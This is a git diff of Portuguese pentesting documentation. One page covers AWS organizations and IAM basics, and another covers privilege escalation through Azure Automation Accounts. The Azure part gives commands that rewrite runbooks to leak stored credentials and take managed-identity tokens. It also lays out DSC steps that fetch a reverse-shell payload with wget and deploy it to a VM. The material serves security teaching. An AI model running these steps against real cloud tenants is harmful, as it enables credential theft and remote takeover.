diff --git a/src/images/vm_to_aa.jpg b/src/images/vm_to_aa.jpg new file mode 100644 index 000000000..30893dfd5 Binary files /dev/null and b/src/images/vm_to_aa.jpg differ diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 7b11d7a10..c8c4d6f04 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,7 +10,7 @@ No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si. -Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre as implantações. +Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem criadas especificamente), assim você pode criar limites entre implantações. Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros. @@ -26,14 +26,14 @@ Portanto, existem **dois tipos de contas em uma organização** (estamos falando A conta de gerenciamento tem as **responsabilidades de uma conta pagadora** e é responsável por pagar todas as cobranças acumuladas pelas contas membros. Você não pode mudar a conta de gerenciamento de uma organização. -- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta. +- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta. - As contas membros **devem usar um endereço de e-mail válido** e podem ter um **nome**, em geral, elas não poderão gerenciar a cobrança (mas podem receber acesso a isso). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **Unidades Organizacionais** +### **Unidades de Organização** -Contas podem ser agrupadas em **Unidades Organizacionais (OU)**. Dessa forma, você pode criar **políticas** para a Unidade Organizacional que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas. +Contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU @@ -42,20 +42,18 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU Uma **service control policy (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**. -Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\ +Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, poderia ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\ A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada). > [!WARNING] -> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta. +> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** na sua conta. Exemplos de SCP: - Negar completamente a conta root - Permitir apenas regiões específicas - Permitir apenas serviços na lista branca -- Negar o acesso ao GuardDuty, CloudTrail e S3 Public Block de - -ser desativado +- Negar a desativação do GuardDuty, CloudTrail e S3 Public Block Access - Negar que funções de segurança/resposta a incidentes sejam excluídas ou @@ -66,6 +64,24 @@ modificadas. Encontre **exemplos JSON** em [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +### Resource Control Policy (RCP) + +Uma **resource control policy (RCP)** é uma política que define as **permissões máximas para recursos dentro da sua organização AWS**. RCPs são semelhantes às políticas IAM em sintaxe, mas **não concedem permissões**—elas apenas limitam as permissões que podem ser aplicadas a recursos por outras políticas. Quando você anexa uma RCP à raiz da sua organização, a uma unidade organizacional (OU) ou a uma conta, a RCP limita as permissões de recursos em todos os recursos no escopo afetado. + +Esta é a ÚNICA maneira de garantir que **os recursos não possam exceder níveis de acesso predefinidos**—mesmo que uma política baseada em identidade ou baseada em recurso seja muito permissiva. A única maneira de contornar esses limites é também modificar a RCP configurada pela conta de gerenciamento da sua organização. + +> [!WARNING] +> As RCPs apenas restringem as permissões que os recursos podem ter. Elas não controlam diretamente o que os principais podem fazer. Por exemplo, se uma RCP nega acesso externo a um bucket S3, ela garante que as permissões do bucket nunca permitam ações além do limite definido—mesmo que uma política baseada em recurso esteja mal configurada. + +Exemplos de RCP: + +- Restringir buckets S3 para que possam ser acessados apenas por principais dentro da sua organização +- Limitar o uso de chaves KMS para permitir apenas operações de contas organizacionais confiáveis +- Limitar permissões em filas SQS para evitar modificações não autorizadas +- Impor limites de acesso em segredos do Secrets Manager para proteger dados sensíveis + +Encontre exemplos na [documentação de Políticas de Controle de Recursos da AWS Organizations](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) + ### ARN **Amazon Resource Name** é o **nome único** que cada recurso dentro da AWS possui, é composto assim: @@ -92,7 +108,7 @@ IAM pode ser definido pela sua capacidade de gerenciar, controlar e governar mec ### [Usuário root da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma identidade de login única que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**. +Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma única identidade de login que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**. Note que um novo **usuário admin** terá **menos permissões que o usuário root**. @@ -117,7 +133,7 @@ _Criar uma nova chave de acesso -> Aplicar a nova chave ao sistema/aplicação - ### MFA - Autenticação de Múltiplos Fatores É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\ -Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o Google Authenticator gratuitamente para ativar um MFA na AWS. +Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS. Políticas com condições de MFA podem ser anexadas aos seguintes: @@ -134,30 +150,30 @@ Como [**afirmado aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cre ### [Grupos de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Um [grupo de usuários](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) IAM é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**. +Um [grupo de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**. Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e os principais são entidades IAM autenticadas. Aqui estão algumas características importantes dos grupos de usuários: -- Um **grupo** de usuários pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**. +- Um **grupo de usuários** pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**. - **Grupos de usuários não podem ser aninhados**; eles podem conter apenas usuários, não outros grupos de usuários. - Não há **grupo de usuários padrão que inclua automaticamente todos os usuários na conta AWS**. Se você quiser ter um grupo de usuários assim, deve criá-lo e atribuir cada novo usuário a ele. -- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, veja [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, consulte [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Uma **função** IAM é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir permissões diferentes para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM. +Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar associada exclusivamente a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir permissões diferentes para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM. Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**. #### AWS Security Token Service (STS) -O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para: +O AWS Security Token Service (STS) é um serviço da web que facilita a **emissão de credenciais temporárias de privilégio limitado**. É especificamente adaptado para: ### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas. +**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração em que as credenciais são válidas. ### Políticas @@ -166,10 +182,10 @@ O AWS Security Token Service (STS) é um serviço web que facilita a **emissão São usadas para atribuir permissões. Existem 2 tipos: - Políticas gerenciadas pela AWS (pré-configuradas pela AWS) -- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria. +- Políticas gerenciadas pelo cliente: configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria. Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\ -Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão). +Se **um único "Deny" existir, ele irá sobrepor o "Allow"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -206,17 +222,17 @@ Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos o Se um principal não tiver uma negação explícita sobre elas, e uma política de recurso conceder acesso, então eles são permitidos. -### Limites IAM +### Limites do IAM -Limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las. +Limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las. -Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer. +Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer. **Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam. ### Políticas de Sessão -Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui). +Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui). Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida. ```bash @@ -226,14 +242,14 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles), por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**. ### Federação de Identidade A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\ -Um exemplo de um provedor de identidade pode ser seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS. +Um exemplo de um provedor de identidade pode ser o seu próprio **Microsoft Active Directory** (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS. Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada. @@ -263,11 +279,11 @@ Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedo É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**. -Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**. +Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que elas têm as mesmas permissões**. ### Confianças e Funções entre Contas -**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\ +**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiado) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\ É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança. ### AWS Simple AD @@ -275,7 +291,7 @@ Portanto, mesmo que você veja 2 funções com uma política inline chamada **`A Não suportado: - Relações de Confiança -- AD Admin Center +- Centro de Administração do AD - Suporte completo à API PS - Lixeira do AD - Contas de Serviço Gerenciadas por Grupo @@ -295,7 +311,7 @@ O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhad ### Prefixos de ID IAM -Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza: +Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids), você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza: | Código do Identificador | Descrição | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -331,7 +347,7 @@ Os seguintes privilégios concedem vários acessos de leitura de metadados: ### Autenticação CLI Para que um usuário regular se autentique na AWS via CLI, você precisa ter **credenciais locais**. Por padrão, você pode configurá-las **manualmente** em `~/.aws/credentials` ou **executando** `aws configure`.\ -Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando o **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\ +Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando a **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\ Exemplo de arquivo de credenciais com mais de 1 perfil: ``` [default] @@ -343,7 +359,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -Se você precisar acessar **diferentes contas AWS** e seu perfil tiver acesso para **assumir um papel dentro dessas contas**, você não precisa chamar manualmente o STS toda vez (`aws sts assume-role --role-arn --role-session-name sessname`) e configurar as credenciais. +Se você precisar acessar **diferentes contas AWS** e seu perfil foi concedido acesso para **assumir um papel dentro dessas contas**, você não precisa chamar manualmente o STS toda vez (`aws sts assume-role --role-arn --role-session-name sessname`) e configurar as credenciais. Você pode usar o arquivo `~/.aws/config` para [**indicar quais papéis assumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), e então usar o parâmetro `--profile` como de costume (o `assume-role` será realizado de forma transparente para o usuário).\ Um exemplo de arquivo de configuração: @@ -366,5 +382,6 @@ Se você está procurando algo **similar** a isso, mas para o **navegador**, voc - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) +- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 0468b5d4b..4293f00b4 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,7 +10,9 @@ Para mais informações, consulte: ../az-services/az-automation-accounts.md {{#endref}} -### Hybrid Workers Group +### Grupo de Trabalhadores Híbridos + +- **Do Automation Account para a VM** Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá **pivotar para a localização da VM**. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure. @@ -19,11 +21,20 @@ Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outr > [!TIP] > Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**). +- **Da VM para o Automation Account** + +Além disso, se alguém comprometer uma VM onde um script de conta de automação está sendo executado, ele poderá localizar os metadados da **Automation Account** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Automation Account. + +Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a VM, é possível encontrar nas **variáveis de ambiente do processo** a URL e o segredo para acessar o serviço de metadados da conta de automação: + +![]() + + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você poderia usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Conta de Automação. +Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Automation Account, que você poderia usar para **executar código** no contexto da Automation Account e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Automation Account. -A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando: +A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Automation Account usando: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -38,7 +49,7 @@ $creds.GetNetworkCredential().password' ``` Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação. -A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações: +A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação para que as alterações sejam aplicadas: ```bash az automation runbook publish \ --resource-group \ @@ -123,7 +134,7 @@ az rest --method PUT \ }' ``` > [!TIP] -> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição. +> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar essa atribuição. ### `Microsoft.Automation/automationAccounts/webhooks/write` @@ -179,7 +190,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como o seguinte (este usa o Github como exemplo): +Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como os seguintes (este usa o Github como exemplo): ```bash az automation source-control create \ --resource-group \ @@ -196,7 +207,7 @@ az automation source-control create \ ``` Isso importará automaticamente os runbooks do repositório do Github para a Conta de Automação e, com algumas outras permissões para começar a executá-los, seria **possível escalar privilégios**. -Além disso, lembre-se de que, para o controle de versão funcionar nas Contas de Automação, deve haver uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, o ID do cliente da MI deve ser especificado na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Além disso, lembre-se de que, para o controle de versão funcionar nas Contas de Automação, deve ter uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, o ID do cliente da MI deve ser especificado na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] > Observe que não é possível alterar a URL do repositório de um controle de versão uma vez que ele é criado. @@ -219,7 +230,7 @@ az rest --method PUT \ ``` ### Ambientes de Runtime Personalizados -Se uma conta de automação estiver usando um ambiente de runtime personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook usando esse runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado. +Se uma conta de automação estiver usando um ambiente de runtime personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook que usa esse runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado. ### Comprometendo a Configuração de Estado @@ -228,10 +239,10 @@ Se uma conta de automação estiver usando um ambiente de runtime personalizado, - Passo 1 — Criar Arquivos **Arquivos Necessários:** Dois scripts PowerShell são necessários: -1. `reverse_shell_config.ps1`: Um arquivo de Configuração de Estado Desejado (DSC) que busca e executa a carga útil. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Um arquivo de Desired State Configuration (DSC) que busca e executa o payload. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). 2. `push_reverse_shell_config.ps1`: Um script para publicar a configuração na VM, disponível em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/carga útil. +**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload. - Passo 2 — Compactar o Arquivo de Configuração @@ -245,17 +256,17 @@ O arquivo de configuração compactado é enviado para um contêiner de Armazena ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Passo 4 — Preparar Kali Box +- Passo 4 — Preparar a Kali Box O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -O script é editado para especificar a VM Windows alvo e a porta para o reverse shell. +O script é editado para especificar a VM Windows alvo e a porta para o shell reverso. - Passo 5 — Publicar Arquivo de Configuração -O arquivo de configuração é executado, resultando na implantação do script de reverse shell no local especificado na VM Windows. +O arquivo de configuração é executado, resultando na implantação do script de shell reverso no local especificado na VM Windows. - Passo 6 — Hospedar Payload e Configurar Listener